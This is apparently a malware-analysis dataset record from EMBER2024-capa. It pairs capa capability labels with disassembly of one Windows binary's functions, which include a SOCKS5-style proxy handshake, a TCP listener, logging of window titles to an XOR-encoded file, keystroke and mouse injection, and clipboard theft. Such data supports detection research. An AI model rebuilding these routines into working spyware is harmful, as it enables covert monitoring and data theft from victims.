joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408780
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x120
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x4781e8
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [0x4781e4]
mov ebp, dword [0x478530]
push str.LeaveCriticalSection
inc ebp
push str.KERNEL32.dll
mov dword [0x478530], ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4781e8
call eax
mov edi, dword [esp + 0x13c]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00408590
add esp, 8
cmp eax, esi
je 0x4089a2
mov ebp, dword [esp + 0x134]
cmp eax, 1
je 0x4088e8
cmp eax, 2
je 0x4088e8
cmp eax, 3
je 0x4088e8
cmp eax, 4
jne 0x408961
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x144]
lea edx, [esp + 0x34]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.004084e0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x40]
push edx
lea ecx, [ebp + 4]
push eax
push ecx
call fcn.00408ec0
add esp, 0x1c
test eax, eax
je 0x4089a2
mov al, 0x54
mov cl, 0x20
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], al
mov al, 0x30
mov byte [esp + 0x20], cl
mov byte [esp + 0x1f], al
mov byte [esp + 0x22], al
mov byte [esp + 0x23], al
mov byte [esp + 0x24], cl
mov cl, 0xd
mov al, 0xa
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], al
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], al
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x1b], 0x50
mov byte [esp + 0x1c], 0x2f
mov byte [esp + 0x1d], 0x31
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x21], 0x32
mov byte [esp + 0x25], 0x4f
mov byte [esp + 0x26], 0x4b
mov byte [esp + 0x2b], 0
repne scasb al, byte es:[edi]
mov eax, dword [ebp]
push esi
not ecx
lea edx, [esp + 0x1c]
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x408961
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x140]
mov edx, dword [esp + 0x138]
push ecx
push esi
push edi
push edx
call fcn.004086c0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x4089a2
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
mov eax, dword [esp + 0x18]
sub esi, eax
push ecx
sub esi, 7
lea edx, [eax + edi + 7]
push esi
push edx
call fcn.004084e0
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x40]
lea esi, [ebp + 4]
push eax
push ecx
push esi
call fcn.00408ec0
add esp, 0x1c
test eax, eax
je 0x4089a2
mov edx, dword [esp + 0x138]
mov eax, dword [esi]
push 0
push ebx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4089a2
cmp dword [ebp], 0
je 0x4089a2
mov eax, dword [ebp + 4]
test eax, eax
je 0x4089a2
lea ecx, [esp + 0x2c]
push ecx
push 0
push ebp
push 0x409a80
push 0
push 0
call dword [0x4781e0]
test eax, eax
je 0x408992
push 0xffffffffffffffff
push eax
call dword [0x4781dc]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x120
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x120
ret
Function at 0x4089b0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov al, byte [ebx]
mov byte [ebp - 2], 5
cmp al, 5
mov byte [ebp - 1], 0
je 0x4089d9
pop edi
pop esi
and eax, 0xff
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 2]
lea esi, [ebx + 2]
test al, al
je 0x4089f0
cmp al, 2
je 0x4089f0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x478230
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [ebp - 2]
and ecx, 2
push 2
mov byte [ebp - 1], cl
mov ecx, dword [ebp + 8]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x408a2a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 1], 2
jne 0x408b87
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x204]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push 0x5000
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x408b7e
test eax, eax
je 0x408b7e
cmp byte [ebx], 1
je 0x408a8d
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 1]
test al, al
je 0x408ab6
and eax, 0xff
cmp eax, 0x100
jg 0x408ab6
mov ecx, eax
lea edi, [ebp - 0x104]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
mov al, byte [ebx + 1]
add eax, ebx
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x408aef
cmp ecx, 0x100
jg 0x408aef
mov edx, ecx
lea esi, [eax + 3]
lea edi, [ebp - 0x204]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x104]
mov eax, 0x478230
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x408b1e
test cl, cl
je 0x408b1a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x408b1e
add eax, 2
add esi, 2
test cl, cl
jne 0x408afa
xor eax, eax
jmp 0x408b23
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408b64
lea esi, [ebp - 0x204]
mov eax, 0x478330
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x408b56
test cl, cl
je 0x408b52
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x408b56
add eax, 2
add esi, 2
test cl, cl
jne 0x408b32
xor eax, eax
jmp 0x408b5b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408b64
mov byte [ebx + 1], al
jmp 0x408b68
mov byte [ebx + 1], 0xff
mov eax, dword [ebp + 8]
push 0
push 2
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x408b87
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408ba0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x477e48
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x408c54
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x408c5c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x408c4a
test edx, edx
jle 0x408c14
mov edi, 0x4756d0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x408be6
add dword [esp + 0x10], 4
jmp 0x408bca
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x408c70
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x408c80
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x408ec0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x408f17
call fcn.00408c70
add esp, 4
test eax, eax
je 0x408f72
push esi
call fcn.00408c70
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x408f72
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x408f7a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x408f90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.004089b0
add esp, 0xc
test eax, eax
je 0x409037
cmp eax, 4
jne 0x408fd8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.00408c90
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x409037
test eax, eax
je 0x409037
cmp byte [esi], 5
jne 0x409037
mov cl, byte [esi + 3]
cmp cl, 1
je 0x409004
cmp cl, 3
jne 0x409037
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.00408c90
add esp, 0x14
test eax, eax
je 0x409037
mov al, byte [esi + 1]
cmp al, 1
je 0x40902e
cmp al, 3
jne 0x409037
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x409040
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40908e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x4090ab
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.00408ba0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x409410
Capabilities:
Create tcp socket
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x409515
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x409515
mov dx, word [0x478200]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x409515
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x4094b0
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
push str.CreateThread
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, eax
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call sub.MSVCRT.dll_malloc
add esp, 4
test eax, eax
je 0x4094cf
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x409100
push 0
push 0
call ebp
test eax, eax
jne 0x40950c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4094cf
push eax
call dword [0x478208]
jmp 0x4094cf
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x4097d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x40980b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x409812
sub esi, eax
add edi, eax
test esi, esi
jg 0x4097e6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x40a670
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x114
push ebx
mov al, 0x6f
push ebp
push esi
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push edi
lea eax, [esp + 0x20]
push 0x104
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [0x478664]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea eax, [esp + 0x34]
push 0x40000000
push eax
call dword [0x478660]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x24], 0
call dword [0x47865c]
cmp eax, 0x3200000
jae 0x40a71a
push 2
push 0
push 0
push ebx
call dword [0x478658]
mov ebp, dword [esp + 0x128]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x40a749
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x40a73d
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebx
call dword [0x478654]
push ebx
call dword [0x478650]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret

Function at 0x40a780
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push ebx
push esi
push edi
push str.wsprintfA
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov ecx, 0x100
xor eax, eax
mov edi, 0x478670
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x478670
push eax
mov dword [0x478a70], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x47866c]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x478a70]
cmp eax, ecx
je 0x40a88d
push 0x478670
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40a881
lea ecx, [esp + 0xc]
push ecx
call dword [0x47864c]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x16]
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x16]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x16]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x478670
lea edx, [esp + 0x38]
push 0x475dd8
push edx
call ebx
lea eax, [esp + 0x40]
push eax
call fcn.0040a670
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x478670
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x478a70]
mov dword [0x47866c], ecx
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x410
ret
Function at 0x40aca0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x118
push ebp
push edi
lea eax, [esp + 0x1c]
xor edi, edi
push 0x104
mov dword [esp + 0x18], ecx
push eax
mov dword [esp + 0x20], edi
call dword [0x478664]
lea ecx, [esp + 8]
lea edx, [esp + 0x1c]
mov al, 0x6f
push ecx
push edx
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x30]
push closesocket
push eax
call dword [0x478660]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40ad81
push esi
push edi
push ebp
call dword [0x47865c]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x1c]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebp
call dword [0x478638]
xor eax, eax
test edi, edi
jbe 0x40ad6a
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40ad5c
mov ecx, dword [esp + 0x18]
push edi
push esi
call fcn.0040ac40
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebp
call dword [0x478650]
mov eax, edi
pop edi
pop ebp
add esp, 0x118
ret
Function at 0x40c580
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x40c731
call fcn.0040ffb0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x40c731
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x40c5fd
cmp eax, 0x208
ja 0x40c5fd
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x40c6ad
je 0x40c695
cmp eax, 0x105
ja 0x40c669
je 0x40c64b
sub eax, 0x100
je 0x40c62d
dec eax
je 0x40c64b
sub eax, 3
jne case.0x40c6b7.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [0x478a9c]
jmp case.0x40c6b7.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [0x478a9c]
jmp case.0x40c6b7.521
sub eax, 0x201
je 0x40c686
dec eax
jne case.0x40c6b7.521
push 0
push 0
push 0
push 0
push 4
jmp 0x40c71a
push 0
push 0
push 0
push 0
push 2
jmp 0x40c71a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x40c71a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x40c6b7.521
jmp dword [eax*4 + 0x40c738]
push 0
push 0
push 0
push 0
push 8
jmp 0x40c71a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x40c71a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x40c71a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x40c71a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x40c71a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x40c5c9
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x40c790
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c7f8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x40c7f0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x40c860
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c8f2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x40c891
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [0x478a98]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x77
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.0040b090
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x40d660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
push ebx
push esi
push str.RegQueryValueExA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov cl, 0x45
mov esi, eax
mov eax, 4
mov byte [esp + 0x27], cl
mov byte [esp + 0x2a], cl
mov cl, 0x49
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov al, 0x41
mov bl, 0x44
mov byte [esp + 0x2e], cl
mov byte [esp + 0x31], cl
mov cl, 0x74
mov byte [esp + 0x21], al
mov byte [esp + 0x23], bl
mov byte [esp + 0x25], al
mov byte [esp + 0x29], bl
mov al, 0x5c
mov bl, 0x53
mov byte [esp + 0x38], cl
mov byte [esp + 0x3f], cl
mov cl, 0x72
mov byte [esp + 0x28], al
mov byte [esp + 0x2b], bl
mov byte [esp + 0x34], al
mov byte [esp + 0x35], bl
mov byte [esp + 0x3b], al
mov byte [esp + 0x4c], al
mov dl, 0x52
mov bl, 0x73
mov byte [esp + 0x40], cl
mov byte [esp + 0x44], cl
mov byte [esp + 0x4b], cl
lea eax, [esp + 8]
lea ecx, [esp + 0x20]
mov byte [esp + 0x22], dl
mov byte [esp + 0x26], dl
mov byte [esp + 0x2d], dl
mov byte [esp + 0x37], bl
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
push eax
mov dl, 0x65
xor ebx, ebx
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x2c], 0x48
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3c], 0x54
mov byte [esp + 0x3e], 0x4f
mov byte [esp + 0x3f], 0x4e
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x45], dl
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], dl
mov byte [esp + 0x4a], 0x6e
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x51], 0x6f
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], dl
mov byte [esp + 0x56], 0x6f
mov byte [esp + 0x59], 0x30
mov byte [esp + 0x5a], bl
call dword [0x477dd8]
mov byte [esp + 0x18], 0x7e
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x48
mov byte [esp + 0x1b], 0x7a
mov byte [esp + 0x1c], bl
lea edx, [esp + 0xc]
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push ebx
push edx
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call dword [0x477d88]
mov eax, dword [esp + 0x14]
pop esi
pop ebx
add esp, 0x48
ret